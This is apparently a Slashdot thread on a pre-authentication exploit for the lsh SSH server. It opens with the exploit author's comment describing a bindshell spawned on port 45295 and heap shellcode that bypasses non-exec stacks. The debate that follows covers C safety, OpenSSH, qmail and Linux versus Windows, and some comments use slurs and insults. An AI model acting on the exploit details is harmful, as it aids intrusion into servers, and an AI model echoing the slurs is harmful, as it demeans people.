Spawns bindshell on port 45295 of remote host.

I suspect the overflow that this exploits is actually part
of the liboop library that lsh uses... I haven't even looked.
I just wanted to get this out the door to stop all the lsh
lovers crooning about how they weren't getting 0wn3d like
the openssh users might be.

Yes, this 0day is real. Yes, it's pre-authentication.

Handily, it also bypasses non-exec stack protection as the
shellcode is on the heap.

NOTE: This 0day public exploit _only_ works if it's the first
thing to connect to the lshd daemon after it has been started.
Any other time, it is just a DoS. Run it a few times against
a host running lshd to see what I mean.

Greets to B-r00t, kraft, marshal-l, ruxor, force5 and everyone
else on #cheese at doris.scriptkiddie.net.

Re:Comment from code

[Anonymous Coward]

I think the most amazing thing about that comment is how relatively readable and correct it is. I mean, I always have this mental image of exploit writers either using English as a second language, or having no respect for grammar and spelling. What a welcome change in pace! :)

Re:[OT] Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

Keep the Linux bashing up brother. You are *so* showing us that MS is the way to go.

lsh Pre-dates OpenSSH

[divec]

Does it exist solely because of the non-GNUness of other implementations?

When lsh was started, OpenSSH didn't exist. The original SSH was free till version 1.2.12, but was then put under a more restrictive licence. The licence on ssh version 2 was more restrictive still (I think it wasn't even free-as-in-beer). lsh was intended to be a Free, Open-Source replacement to ssh.

Then the OpenBSD people took the old, free 1.2.12 version of ssh, fixed all the known bugs which had accumulated since that release and updated it with the new features in the SSH protocol. This is OpenSSH.

Re:lsh Pre-dates OpenSSH

[Anonymous Coward]

No, they took ossh. Not an old ssh.

Re:lsh Pre-dates OpenSSH

[Anonymous Coward]

Damn. You sure showed that fucker.

The quality of Theos work

[aliquis]

Thought this is rather old news I never thought that anyone else could do an ssh application better then the one the openbsd team could bring out. I'm confident that they do their best and look thru the code very carefully and still this kind of things happen.
I find it strange that there never seems to be an end of the openssh, apache, php, sendmail and mysql vulnerabilities. I suppose it's just damn hard to write secure code all the time. I blame the C language a little for this, should you really have to be this careful all the time? Do you really have to reinvent the wheel every single time?
Imho c is just something you should use because the application you are editing already uses it or the teacher has told you so. There are lots of better languages out there. Can't understand all the complains on java for example.
Does anyone have some suggestions about libraries, special functions, compiler mods and so on which make C programs a little more secure? Any suggestions of other languages which is available for different platforms but more secure and with less reinventing of the wheel all the time? The ones which come to my mind are as I said java and scripting languages like python, ruby and so on. But there got to be atleast one which isn't interpreted?
Suggestions are more than welcome.

Re:The quality of Theos work

[SmallFurryCreature]

Yeah java, yippie, not like that never makes computers crash. (sorry freenet just crashed my pc again)

C is like steel. Sure you can make cars from different materials. Sure certain cars are known to be unsafe. Certain cars are in fact known to be real deathtraps. These cars are made out of, shock and horror, steel!. Steel therefore is unsafe and we should all move to a different material. Then all cars will be safe and we can all rejoice in having squashed the evil and unsafe steel.

C is a tool. Tools are not inherintly safe or unsafe. Watch some "real-tv" programs and you will see that people can do amazing damage with something as harmless as a hammer, a tool that has been around for several millenia and people still don't use it safely.

You are the tool user. It is up to you to use it safely. I fear very little will be accomplished by going to a different tool. In fact it may be worse. You seem to suggest a language were the language does the error checking so that programmers no longer need to worry about. Great so in a few years times we will have no coders left who know how to write their own error checking code. Who is then going to write the error checking code in these languages?

Even worse what would happen when a security bug is discovered in that error checking code? Then suddenly every piece of software ever written in that language has a hole in it. Whee! (can this happen, I am just speculating. kinda like when openssl has a bug every piece of software that uses it is affected)

Re:The quality of Theos work

[aliquis]

Uhm, how do you manage to get your computer crashed by freenet? That has never happened to me.
Beyond that I understand that you mean, but for some reason it seems even very competent people have a hard time writing secure and stable code in c, so how am someone like me supposed to be able to do it? That just makes me think there might be some trouble with the approach and that you maybe should try to do it in some other way which will make it easier to develop secure apps. I don't say I do have a better alternative or even a suggestion on what to do, that's why I asked about libraries or compiler patches which might help.
There are languages like for example ADA which I have heard complains quite a lot until you get the code right, but on the other hand then it's right the code has quite good quality and aren't that likely to have any bugs. To error is human and maybe we need some tools which helps us.
Sure hammers are unsafe, and sure some people with enough experience might have a better chance of using them without hitting themself on their thumbs. To just replace the c language with something else would be like buying premanufactured furniture just to be on the safe side. But that's not the only solution, you could for example use a screwdriver instead.
There might be some "other tools" which doesn't work with the "punch the nail" technique and therefor are less likely to harm your thumbs, and those are the one I'm looking for.

C can be used with appropriate measures

[Serious Simon]

C doesn't impose measures against buffer overflows, but that doesn't mean it is prohibitively difficult to implement them.

You can easily find information on how to avoid buffer overflows, such as in this article.

However, the developers in the lsh project (for example) do not appear to have given this subject much thought. In the lsh manual, the chapter on Threats silently assumes the software works as designed. It does not mention protection against exploits such as buffer overflows.

And the coding standards outlined in the lsh hacking guide are targeted at avoiding breakage by the programmers, not by outside attackers.

Projects developing exploit-sensitive software should implement proper measures to avoid buffer overflows. As long as this is done, C may still be the appropriate language for such projects.

Re:C can be used with appropriate measures

[Temporal]

Problem is, 90% or more of programmers are just too lazy to do the work necessary to secure their programs. Now, it would be nice if we could just convince all of them to work harder, but realistically we're probably going to have to deal with programmers being notoriously lazy forever. On the other hand, there are many programming languages out there which make it much, much easier to write secure code. If the computer industry were to move to one of these languages, there would simply be far fewer security holes in most software. Many of these languages also take far less code to write typical programs, and handle a lot of the nitty-gritty of programming (like garbage collection) automatically. Usually they're not as fast as C, but for 99% of applications the difference is irrelevant. So, why not switch?

Re:C can be used with appropriate measures

[localman]

Imagine if the human body was designed such that your head fell off -- unless you took the time to "easily find information to avoid".

It's time to fix C or move on.

Cheers.

Re:C can be used with appropriate measures

[Serious Simon]

Imagine that the human body was designed such that you would seriously hit your head against something if you did not look were you were going.

Re:C can be used with appropriate measures

[Zaak]

C doesn't impose measures against buffer overflows, but that doesn't mean it is prohibitively difficult to implement them.

That is backwards. The default should be secure. C is broken because the default is insecure and it takes work to implement basic security.

TTFN

Re:C can be used with appropriate measures

[localman]

To stretch my lame metaphor further, I would say that the task of not hitting your head is much easier with eyes; something standard C does not provide.

The C appologists can say "just be careful" all they want, but the fact remains that even the most careful programmers make these mistakes _all_the_time_ because the language encourages them.

I'm no expert in C, but it seems to me like it's just a matter of writing a better stdlib that makes it easy to do things the safe way. Then if people want to code close to the metal and risk banging their head, that's fine. But right now the official way to code involves managing memory by hand, and people have proven over the past twenty years to be absolutely horrible at it, while computers have proved to be quite good (with a little performance overhead).

Cheers.

Complain all you want about OpenSSH

[Anonymous Coward]

It is interesting to see the types of holes that have been found in OpenSSH to date - these are *far* beyond typical buffer overrun problems that some other software projects suffer. Because of its popularity, it has become an attractive target and thus something of proving ground for new attack methods - int overflows, malloc corruption / free() exploits. OpenSSH is getting the bugs slowly beaten out of it.

Maybe the standard Winlot conclusion

[RoLi]

nothing is flawless

Nobody ever claimed it would be.

However I've personally experienced that many systems are more secure than others. Almost all security problems on Unix didn't affect me (like this, BTW. This is actually the first time I've ever heard about lsh) and often were hyped up. In the meantime I get tens of Windows-Virus-mails and attemted IIS infections per day.

The true conclusion:

Windows is like a 50 year old car without safety belts, Unix is like a modern Volvo with safety belts and airbags.

Neither car is "flawless" and you can die in the Volvo too.

Re:Maybe the standard Winlot conclusion

[Anonymous Coward]

I have a suggestion to you dude, I think you are in complete and utter denial. I'm not saying this to harm your ego or anything... I'm even posting anonymously to avoid the confrontation of a 'winlot' (which btw doesn't make sense... unless there is an OS out there called Zea). Why don't you sit back for 10 seconds, and examine your motivations.

Btw, anyone who moderated you up should do the same excercise as what I just recommended you too.

Re:Maybe the standard Winlot conclusion

[asilidae]

The true conclusion:

Windows is used by soo many more people then any other OS that it's silly to try to exploid anything but windows, since you would hit almost everyone with an exploid aimed at windows. You should know that already.

Like 91% of everyone who searches on google use windows according to this page: http://www.google.com/press/zeitgeist.html
I think linux gathers 1% in that statistic and i guess unix is in the 5% other, which signals its under 1% for unix, quite insignificant. You would never hit the news (not tech news) with an exploid for unix like you can with one for windows.

Re:Maybe the standard Winlot conclusion

[SvendTofte]

I get tens of Windows-Virus-mails and attemted IIS infections per day.

And this makes Windows more insecure how? You're getting attempts, and emails, and from the sound of it, just that ... attempts ... So how is it this the "standard winlot conclusion"?

Re:Maybe the standard Winlot conclusion

[Blackheart2]

Grandparent wrote: nothing is flawless

Parent replied: Nobody ever claimed it would be.

Well, that's part of the problem, isn't? Nobody ever claims anything about their software anymore because, shockingly, they might be held accountable by someone.

This is translating into bigger and bigger headaches for everyone else, because nowadays we all depend on some software, and it's never right. Never. Only maybe in the next version. But there's always a next version, right?

Maybe we should all start heading our programs with the comment:

/* IANAP(rogrammer), but I believe this may work... */

because that would be pretty damn accurate.

Re:Maybe the standard Winlot conclusion

[RoLi]

And this makes Windows more insecure how?

• It proves that a lot of Windows machines are infected. If it can happen to so many people it can happen to anybody.
• I'm no full time admin and I neither have the time nor the commitment to patch everthing weekly. I usually upgrade about twice a year and never had problems on Linux, I would have gotten at least 3-4 mass-worms on Windows with the same level of commitment.

To make a long story short it takes a lot more time to secure Windows than it takes to occasionally upgrade Linux.

And this is also the problem: Whenever I install a new system, I just use the latest Linux-version available and am adequately (Winlots usually pretend to not know the difference between absolute and adequate, please don't.) secure. With Windows I have to install hotfixes and servicepacks everytime I install a machine and often have to pay through the nose for security updates (What does Windows2003 really offer in comparison to Windows2000? Not much except for the comfort of having to install less security fixes.) and if I don't I'm infected by some worm in a matter of hours.

And that's exactly why CodeRed is still there and won't disappear for a long time. Because Microsoft releases so seldom (you always get year-old security problems) and because of their business-model (you just don't want to pay several hundred $ just for a security update) the average fresh and clean Windows install will always be less secure than the average fresh and clean Linux install.

Also, Window's nature is problematic in upgrading. With Linux I can do a "tar cjf settings.tar.bz2 /etc" and transfer those settings to a newer box without many problems and in a short time. If there is a problem with a service it is usually solved without big problems, the configuration formats usually don't change and more importantly are all encapsulated, so you can easily pinpoint the problem. On Windows on the other hand, you would have to start exporting parts of the registry, you would have to know which parts. And then you would have to cross your fingers that you are able to import it into the registry of the newer system. I wouldn't dare to export parts of the registry of a WindowsNT4 system and import them in Win2K or even Win2K3, would you?

So, yes Linux is more secure by nature than Windows.

Re:Maybe the standard Winlot conclusion

[MarkJensen]

Ummm... Your "true conclusion" is a *bit* flawed.

Calling Windows "a 50 year old car", and Unix "modern" is backwards. Unix has a much older history than Windows. But, in the software world, this isn't necessarily a disadvantage.

What matters is a history of constant innovation and improvement. Windows does "ok" at this. While Linux (in particular) shows an excellent history of striving to improve and adapt technologies: both new and old.

By comparison, Windows is focused on the new at the expense of the old. That is where Microsoft sees the money -- in their cycle of upgrades (software and hardware assist each other).

Just my two cents.

Re:Maybe the standard Winlot conclusion

[Anonymous Coward]

It's possible to guarantee functionality in software (like in NASA's shuttle software). However, this would make software so expensive as to be even more costly than damage control for the current broken stuff.

Software quality will not improve until we get the machines to write the stuff for us.

Re:Maybe the standard Winlot conclusion

[Politburo]

Your true conclusion is yet another car analogy. Terrific.

Re:Maybe the standard Winlot conclusion

[Blackheart2]

Wrong: there are a dozen programming languages which eliminate the possibility to exploit bugs such as buffer overruns, and programs like lsh are a perfect candidate for them. Such languages also improve code reuse, thus bolstering reliability, localizing errors and assigning blame where it belongs.

Furthermore, it's not necessary to provide a 100% guarantee of correctness to improve software quality. A familiarity with modern formal methods such as those used to specify programming languages will improve the quality of any software you write.

As for costliness, if the figure that 80-90% of development time is spent debugging is true, then you have a lot of leeway before increased time spent in specification and verification starts to exceed your overall budget. Add to that the expected decrease in support costs, and the value proposition is pretty good. Add to that the fact the network effect that you will actually be able to rely on external libraries, and development time decreases even further.

The fact is, people who write buggy software are bad citizens in the programming community. They hurt users, they hurt other programmers and they hurt themselves.

The idea that reliability cannot be addressed is a self-fulfilling prophecy and a cop-out. You have to bite the bullet sometime.

Re:Maybe the standard Winlot conclusion

[Overly Critical Guy]

Nobody ever claimed it would be.

You do visit Slashdot, don't you? It is claimed all the time. The prevailing attitude and anecdotal evidence about how secure Linux is and how insecure and unstable Windows is runs through every discussion thread even remotely involving anything Microsoft. A large part of this site is just reactive hysteria to "Microsoft worms." Heck, whenever there's an X-Box article, you get the requisite hundreds of "jokes" about green screens of death.

You claim to get virus-mails, which usually require user intervention to spread. Then you mention IIS intrusions, despite the fact that Slashdot recently posted an article called "Linux Most Attacked Server?" which showed Linux was the most breached operating system on the net.

The true conclusion:

Windows is like a 50 year old car without safety belts, Unix is like a modern Volvo with safety belts and airbags.

No. The true conclusion is that your personal disdain for Microsoft products in an OS war doesn't matter in the end. All operating systems are insecure and vulnerable. They are equal.

The true heart of security lies in your system administrator. Period.

Re:Maybe the standard Winlot conclusion

[Anonymous Coward]

You know what the true conclusion is?

That slashdot moderation is propaganda/censorship. You know why I say this? I am the first replier to this parent post, and it seems 8 or so comments made afterwards stressed the same thing: that the parent post is just a zealot and not talking anything rational...

YET... the parent post remains at +5 Insightful, and all child posts remain at 0-2... What's even more furstrating is that I get moderated 'overrated' for certain posts with a default karma bonus modifier... A post sitting at 2 will clear most people's filters, so really, it's a total waste of mod points... yet this cretin is allowed to remain at +5 and sore my eyes...

I have lost my faith in /. as a reliable news source, and I have lost any faith I had in it as a proper discussions forum. It now reminds me of an IRC channel where 14 year olds throw insults at eachother. Something I lost interest in around 8 years ago, when the internet was just first bubbling up among the public.

EXCEPTION_RAISE doesn't raise - bad naming

[ThePythonicCow]

This bug doesn't surprise me - the previous line reads "EXCEPTION_RAISE ...". One would expect from the verb "RAISE" that it was going to jump out of line right there, and that the next line would be NOTREACHED.

A proper fix for this would change the name of that EXCEPTION_RAISE macro to something that doesn't suggest out of sequence execution.

Someone should grep through the source for lsh, and see if there are any other places where after this macro is called, the code really is expecting execution to continue inline.

Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

Honestly. If you were as clever as you think you are you wouldn't of just been so spectacularly trolled. Moron.

rant continued...

[pVoid]

first off, I forgot to fully qualify the fever-like physiological aide in that this article goes under "Developer" which is probably not read by most /. readers...

What's even more sick is that when looked at carefully, everything on this site shows pure propaganda in the works. The core people who would read the 'developers' thread are in effect the people who have something at stake, their cherrished little holy grail. But what you don't realize is that as with any propaganda machine, you are dimming the wits of your own youth. The 'anti-bodies' out there, the less than 18 teenagers who are on this site mass posting trying to fulfill some sort of ego trip, they aren't doing anyone any good, neither the OSS nor themselves. You are dimming your own wit by limiting reasonable conversation.

How sad that it is somewhat visible that most of this machine is being tended to mostly by the american crowds too... makes you think about how accustomed they have grown to it.

I denounce you Taco, who might think the moderation system is good as is... nay, you probably have stopped veiling your intents to yourself, you probably realize what the power of this tool is and are embracing it by now.

Propagand away... news has other sources.

Re:rant continued...

[Anonymous Coward]

Ummm... You need to get out more(i.e do something you've been talking about doing but never have, something fun)... And quit reading Poe it's turning you into a sick man. (At least I see a similarity between you and Poe) Really, I mean it.

Just take a break. Relax. You deserve it.

P.S. Do it before your boss sends you to a "Don't sweat the small stuff" seminar. As soon as that happens, it's a sign you're over-stressed and ready to burn out.

I don't get it...

[hummassa]

The parent pointed to djb's software guarantees... you pointed to two "linux has flaws too". Do you know of any djb's softwares' flaws? Share this with us. But then, maybe I'm feeding a troll, I don't know.

Re:I don't get it...

[Anonymous Coward]

But then, maybe I'm feeding a troll

I'm afraid you are. Overly Smug Guy hangs out waiting for soft targets and then he regurgitates some tedious observation that I suppose he feels will rock the world of the sheepish Linux zealot, but which in reality is the same old stuff that's posted here ad infinitum by other similar bores and Microsoft shills.

The only thing in his favour is that he's slightly smarter than Eric Ass Raymond -- but not by much.

Re:I don't get it...

[Anonymous Coward]

Overly Smug Guy is an idiot (who might as well be a bot for all the "value" he adds to discussions), agreed. But he could have at least posted these...

http://www.securityfocus.com/bid/8196
http://www.ktwo.ca/advisory.html
http://groups.google.com/groups?selm=9t130n%2412ha %241%40FreeBSD.csie.NCTU.edu.tw
http://www.securityfocus.com/bid/2237

But, then again, these aren't flaws, are they? No... djb insists they are features.

Re:I don't get it...

[Overly Critical Guy]

I was merely pointing out that nothing is 100% secure. He gave me links to a couple of software guarantees, so I gave a link showing Linux is the most-breached OS anyway.

Regardless of the reasons why that is, I was showing that it doesn't really matter if that software is guaranteed. There are other ways in.

Re:How to tell if you are a linux fanatic.

[TheNetAvenger]

faggotass

And the more people use homophobic comments, the higher the statistical odds that they are repressing their own gay feelings.

Just come out, it isn't that hard. Walk up the steps from the basement (um, I mean your room) and tell you mom that you are gay. :)

OT: your sig...

[NumbThumb]

...is that from The Princess Bride? I love that book! never knew there is a movie, though... is it any good?

Re:How to tell if you are a linux fanatic.

[(va)*103]

> 1. You rejuvenate and dance when you hear a windows flaw exposed, but you conveniently ignore the thousands of security flaws exposed in linux.

1. Security flaws in Linux might be that if someone can press twenty keys at the same time at a particular moment on the local machine then they might be able get shell access and then, depending on the setup they might be able to escelate that to root access, that sort of obscure hard to do flaw, although of course there are serious flaws that get fixed quick.

Windows vulnerabilities (or at least those we hear of) are generally serious and potentially catastrophic. (Remote harddrive format anyone?)

>2. You yell loudly TROLL! at any person's post or at any person you see posting facts that you do not want to hear about your oh so cool linux.

2. I'm not trolling here, i'm replying, and I've not seen many facts hidden inside your troll.

>3. You know it's a classic case of penis envy, you don't have all the support, software and hardware available for linux and you have to let that anger out somewhere, but you don't have the brains to admit it.

3. My machine does exactly what I want it to. I am not envious of winamp, I have mplayer. Mplayer rocks! My nvidia card performs better under Linux than it ever did under Windows. DVD region codes have never been a problem either.

I have nothing to be jealous of.

>4. You hate windows, hate Microsoft, but race to emulate windows, have programs to run office from within linux, and spend a $300 on a Windows emulator, only Windows fools.

4. The only reason I need to run Windows programs is to preview webpages in IE, and usually I wish I'd never since its support for a pretty basic standard is appalling.

The software I use to do this is VMWare which can of course be used to run any PC OS. It's a very good piece of software. Does it run as well under Windows?

>5. You cannot admit that you don't have professional usage of Linux outside server markets.

5. Other than most of the special effects industry in Hollywood, or large portions of German Government, NASA etc.?

>6. You cannot admit that most of the joe user out there when told that there is linux will respond, what is that?

6. Not these days. These days I mainly hear "I've been meaning to try that, I've heard it's really good."

>7. You cannot admit that there is no professional printing capabilities in linux.

7. I don't understand that one? Aren't TeX and the like the original printing solutions? (and I can produce pdfs without paying a penny under Linux too)

>8. You cannot admit that you are a masochist (otherwise why would someone spend hours playing with scripts,
and recompiling programs that are available for Windows?)

8. Okay, install apache under Debian, and then try it under Winders. Tell me which one takes longer...

>9. You cannot admit that there is no professional desktop publishing done on Linux.

9. Erm, how much proffessional dtp happens under Windows then? I thought that was Mac terretory, you know those computers that can run Linux but not Windows, the ones that uses an alternative Unix-like OS.

>10. You cannot admit that no one in their right mind would do professional video editing in Linux.

10. Nobody in their right mind would do it under Windows either. Except of course the movie industry and the custom Gimp being developed might debunk your assertion slightly.

>11. You cannot admit that linux sucks when it comes for gaming/home entertainment or education.

11. Okay, the games I can play native under Linux are far better than they would be under Windows so that's a crock for a start.

As I mentioned earlier Mplayer ROCKS, and you need little else to watch video under Linux.

As for education, can you point me to a suitable environment under Windows where I can learn a cross platform language without having to pay a fortune?

Re:Could you clarify this?

[raboofje]

Could you explain your statements a bit?

>> BSD can be highjacked anytime

How do you mean? The current versions of BSD-licensed software obviously cannot be suddenly 'un-BSD-licensed'. New releases of the same software may be licensed under another license, but this is no different from GPLed software

>> doesn't protect you from patents

Err, sure, but the GPL can't protect you from patents either, obviously.

(don't get me wrong, I usually prefer the GPL for my own projects, but it's a bad thing to attribute properties to it that it can't live up to)

Welcome to Slashdot

[Anonymous Coward]

The world's largest honeypot for trolls.

Helping to free other real discussion web sites from trolling.

Yet another SSH server

[Anonymous Coward]

There's always Dropbear, which seems fairly small and useful, and does SSH2.

Mmmmm. monoculturelicious.

Re:Yet another SSH server

[Anonymous Coward]

Not to malign a good effort, but I think Dropbear's concentration on size (for leaf) could mean it is more vulnerable. I looked at the source, and it is clean but perhaps too spare.

Consider the snprintf() calls. On the plus side, it is using snprintf(), with presumably the right value for n. But on the minus side, it doesn't seem to raise errors when n is reached.

Re:Yet another SSH server

[Anonymous Coward]

http://www.secunia.com/advisories/9542/

> A vulnerability has been identified in Dropbear SSH Server, which can be exploited by malicious people to compromise a vulnerable system.

Suggestions are more than welcome.

[Anonymous Coward]

As you know ALL of Theo's flaws, go write the better SSH.

Re:Suggestions are more than welcome.

[aliquis]

I think you missunderstood me, I like OpenBSD and the stuff they release and work on. And I do understand that it's not that easy to get rid of all the bugs.

Re:Could you clarify this?

[RoLi]

How do you mean?

Have you been living under a rock during the last 30 years? Just look up the history of Unix.

The current versions of BSD-licensed software obviously cannot be suddenly 'un-BSD-licensed'

That doesn't help much if your great BSD-code is not running on the needed hardware or with the needed software or with the needed protocols.

That's what happened with Unix: Hardware vendors made sure that only their proprietary version would run on it, so the original BSD-code became useless.

The same could be done by using software, protocols or patents instead of hardware.

Err, sure, but the GPL can't protect you from patents either, obviously.

Wrong. If you use GPL-code, you agree to wave any rights of patents you might have.

The effect?

If Sony and JVC do a joint project under the BSD license, and Sony has some obscure patent on it, JVC is screwed and Sony essentially owns their work.

If Sony and JVC do a joint project under the GPL license, and Sony has some obscure patent on it, nobody is screwed because Sony would not be allowed to use the project under the GPL if they want to enforce their patent.

And that's exactly why joint projects between companies are much, much more preferrable under the GPL.

Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

half a point for me. Hoped for a full reply, not a one-liner. Double troll, to troll the troll guy into replying. If I was as smart as YOU think ("not") I wouldn't AC.

Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

"Wouldn't of"? What kind of fucked up English is that?

Twatnozzle.

Oh come on ...

[Anonymous Coward]

You know full well that Jupiter's gravity would probably squish a computer like a bug. :P That, and the planet is gaseous so I don't know that there is a bottom.

Then again flat as a pankake would be pretty secure. Just make sure the case isn't black or 1x4x9 ...

Re:How to tell if you are a linux fanatic.

[Aldric]

Access? Powerful? You're not serious. Swap Access for SQL Server and then you may have a case.

Of course it can

[Anonymous Coward]

Read up on stunnel, you insensitive clod. :)

Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

Congrats fuckface. You just made it onto my foes list. The only reason I threw around words like asshat and faggotass is because that's all you guys seem to get riled up about. You M$ loving shitheads are always on about how you want to take someone and cut them open while jizzing all over their open gut. Then you call THEM the "sickos". I'm not homophobic because I'm bisexual. If anything, I'd say it's you who are the homophobe because it's the only part of my reply you cared to comment on. You couldn't take on the reasoned and well thought out answers posted above becuase you and your kind don't have a leg to stand on. Again, your failings in logic shouldn't be aired on Slashdot. It's just too damn embarassing. Now grow the fuck up and move out of YOUR mom's basement.

Cleaner == Better? Uh...

[tqbf]

... on the other hand, Dan Bernstein's qmail MTA is some of the gnarliest code I've ever read (large portions of it are generated from CPP macros!). Despite qmail's status as one of the top 4 MTAs on the Internet, and huge incentives to find security flaws, Bernstein hasn't had to cut a new release since 1998, and there has never been a security flaw found in the qmail code.

Bernstein would probably tell you that the problem is not the C language, but in lack of secure program designs (which are language-independent) and error-prone, outmoded standard libraries.

I actually tried to install lsh

[Anonymous Coward]

In the wake of the recent OpenSSH exploit, mostly because I couldn't find OpenSSH 3.7p1.

It was -- there's no other way to put this -- a massive, massive, massive pain in the ass. Wanted a bunch of additional stuff installed before it would compile, and, when it finally did compile, the default installation bore no resemblence to an sshd (in the sense of, you know, accepting ssh connections). I finally just gave up and went looking more actively for the patched OpenSSH.

Yes, yes, I know, I'm just too dumb to realize how great it actually is. All I'm saying is, as a drop-in replacement for OpenSSH, lsh comes up, well, short. It badly needs (1) to have its prerequisite packages streamlined and, if possible, eliminated, and (2) to work like SSH by default.

Of course, if the goal is to have a package that kinda works like SSH if and only if you know how to make it do so, there's not much work to do.

How to tell if you are a MS fanatic

[Bull999999]

1. Treat sendmail vulnerabilities as Linux vulerabilities because sendmail can run on Linux.

2. Treat OpenSSH vulnerabilities as Linux vulerabilities because OpenSSH can run on Linux.

3. Treat mySQL vulnerabilities as Linux vulerabilities because MySQL can run on Linux.

4. Treat lsh vulnerabilities as Linux vulerabilities because lsh can run on Linux.

5. Treat all open source software vulnerabilities as Linux vulerabilities because Linux is open source.

6. Double counting "Linux" vulnerabilities by counting all the patches put out by different distros.

7. Ignorant of the fact that Linux itself is not an operating system. Yes, that means that KDE and GNOME are not Linux. In fact, they are not operating systems, either.

Re:How to tell if you are a MS fanatic

[RdsArts]

OK hot shot, how can Linux have any exploits?

Answer? It can't. It's a kernel.

Oh sure, there are some cases where it can be exploited from "3rd party" programs, but that's because everything in your "Linux" OS is a 3rd party program.

Now, is OpenSSH in most GNU/Linux OSes? Yes.
Sendmail? Yes.
Apache? Yes.

So basically, your advice is to say "hey, we've got a rock solid system with Linux. Oh sure, it runs nothing but a kernel, but it runs it so well!"

Feh.

For the record, I'm also a BSD user. Just so you know which OS to claim I'm a zealot for.

Re:How to tell if you are a MS fanatic

[Bull999999]

"Answer? It can't. It's a kernel."

If you've done your research, you'll know that Linux kernel is not bulletproof and there has been patches out for the Linux kernel.

It would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for Windows are Windows vulnerabilities just as it would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for "Linux" and call them Linux vulnerabilities. If I write 1,000 shitty programs full of security holes and if they can run on *BSD, does that mean that vunlerabilities for *BSD increased by 1,000?

"For the record, I'm also a BSD user."

For the sake of other *BSD users I'd say you are a MS user pretending to be a BSD user to start a flame war. If you are a true BSD user, you should've known that kernels can have exploits as well.

Re:How to tell if you are a MS fanatic

[RdsArts]

*sigh*

If you've done your research, you'll know that Linux kernel is not bulletproof and there has been patches out for the Linux kernel.

Which is all well and good, had you actually read my post.

If your only running a kernel, and nothing else, there is nothing TO exploit. Patches or no.

Of course, the point of my post was to get people to stop this bull of "well, that's not a Linux vunerablity, it's a $PROJECT one," when 9 out of 10 distros come with it, and it's on 9 out of 9 Linux-based servers. Feel free to quote this one line and use it out of context to continue a pro-whatever-you-want bash as a reply.

It would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for Windows are Windows vulnerabilities just as it would be unfair to call vulnerabilities for Apache/MySQL/Any other open source programs for "Linux" and call them Linux vulnerabilities. If I write 1,000 shitty programs full of security holes and if they can run on *BSD, does that mean that vunlerabilities for *BSD increased by 1,000?

If they're in the base distrobution for a major BSD, than yes. Was the OpenSSH buffer problem a vun for *BSD? Yes. Was the Sendmail exploit a vun in *BSD? Yes. Were they vuns for any GNU/Linux distro that include them as part of their server install? Yes. Are you going to tell me otherwise?

Re:How to tell if you are a MS fanatic

[Overly Critical Guy]

Of course, that doesn't stop Slashbots from calling, for instance, Office flaws "Windows holes." Anti-MS zealots started the trend.

Re:How to tell if you are a MS fanatic

[Bull999999]

"pro-whatever-you-want bash as a reply."

Oh boy, you sure are an open minded person, aren't you. I guess what ever you say are the truth and if anyone disagress with you, it's a just a bash.

"If your only running a kernel, and nothing else, there is nothing TO exploit. Patches or no."

Why don't you stop taking my quotes out of line? I said that Linux kernel is not bulletproof and there has been patches out. I didn't say anything about just running the kernel and nothing else. But you do need to realise that Windows is a complete O/S where as Linux is not. And the folks at MS argued that IE is the part of the Windows OS so IE vulnerabilities are indeed Windows as they are one and the same. Sendmail or OpenSSH are not one and the same with Linux. It'll be a different story if they offically decided to compile them into the Linux kernel.

"when 9 out of 10 distros come with it"

Linus has the final say as what goes into the Linux kernel, not Red Hat, not Mandrake, nor any other Linux distro companies. And far as I know, I do not believe that Linus approved any "Intergrate OpenSSH and Sendmail into the Linux kernel" project at this point.

Re:How to tell if you are a MS fanatic

[Bull999999]

I'll have to agree with you on that one, as it is possible to run Office on "Linux" and therefore, by their logic, it would also be a "Linux" flaw. However, it would be correct to call it a MS flaw.

qmail smtpd_auth

[dmelomed]

Idiot. smtpd_auth is not written by DJB.
Idiot. vchkpw is not written by DJB.

In other words, you are a troll.

Re:qmail smtpd_auth

[Anonymous Coward]

Sweet. As expected, you bring us around to the dirty little secret of your guranteed-secure qmail...

Admin: I'm sick of dealing with sendmail at my ISP. What's a nice, secure alternative I can use here in place of it?
Qdroid: You should use qmail! It's great and it has a SeCuRiTy GuArAnTeE and it's great!
Admin: Um... how can you seriously suggest qmail for an ISP? I took a look at it and it doesn't have any of the features we need, like SMTP auth, SQL aliasing, or powerful antispam filtering. I was kind of surprised since these are really basic features for an Internet mailserver these days.
Qdroid: No, no... didn't I tell you it's great? There are jillions of patches that add all the features an Internet mailserver needs!
Admin: ah!

time passes...

Admin: wtf! I was pwned because of a vulnerability in my qmail server! I thought you said it was secure!
Qdroid: Idiot! Qmail is secure... the guarantee has never been collected on and that proves it! You were hacked because of a vulnerability in one of the patches you added!
Admin: wtf??? I had to add those patches or else I couldn't have used qmail at all!
Qdroid: Troll! What do you mean you need patches? I run it here at home and I don't need any patches!

The fact is that qmail has been a dead project for years now... all the stuff that has to be added to make the software at all useful as a real mailserver has to be done using third-party code. End result: djb's much touted security guarantee is totally meaningless in any practical sense.

P.S> I see you totally ignored the memory allocation related vulnerability in your reply. Good call. It would have made the straw man look funny.

Re:qmail smtpd_auth

[dmelomed]

The memory allocation "vulnerability" isn't a vulnerability at all. As documented by the author qmail-smtpd's memory limits are best handled by the operating system, not the error-prone and complex data-structure limits Postfix et al. Venema some day failed to add the limit, and systems were probably vulnerable where qmail systems weren't since the limits are set with rlimit() in the shell or through tools such as DJB's softlimit AS DOCUMENTATION recommends.

Troll.

Re:qmail smtpd_auth

[Anonymous Coward]

Sure... like I said before: to djb it's not a flaw, it's a feature! And, you know what? That's his business, and well in keeping with his rep as the archetype of the uber-opinated developer.

I just wish that the people who tout the unclaimed security guarantee as if it actually proves that qmail installations are inherently more secure than any other MTA would be more honest about it. If you patch it at all (and you have to if you want any of the innovations that have come about since the half a decade or so that qmail stopped development), the guarantee is no guarantee. Oh, and by the way, admin, if you think that qmail takes steps to protect you from known problems with the OSes it claims to support (as, according to dmelomed, other MTAs do), guess again. dmelomed's replies are typical of the kind of sympathy the misled admin can expect from the average qdroid when the truth comes out. It's also only something the qdroid seems to feel the need to make clear -after- the fact... he's not so eager when he's busy waving the guarantee like a magic talisman in advocacy discussions.
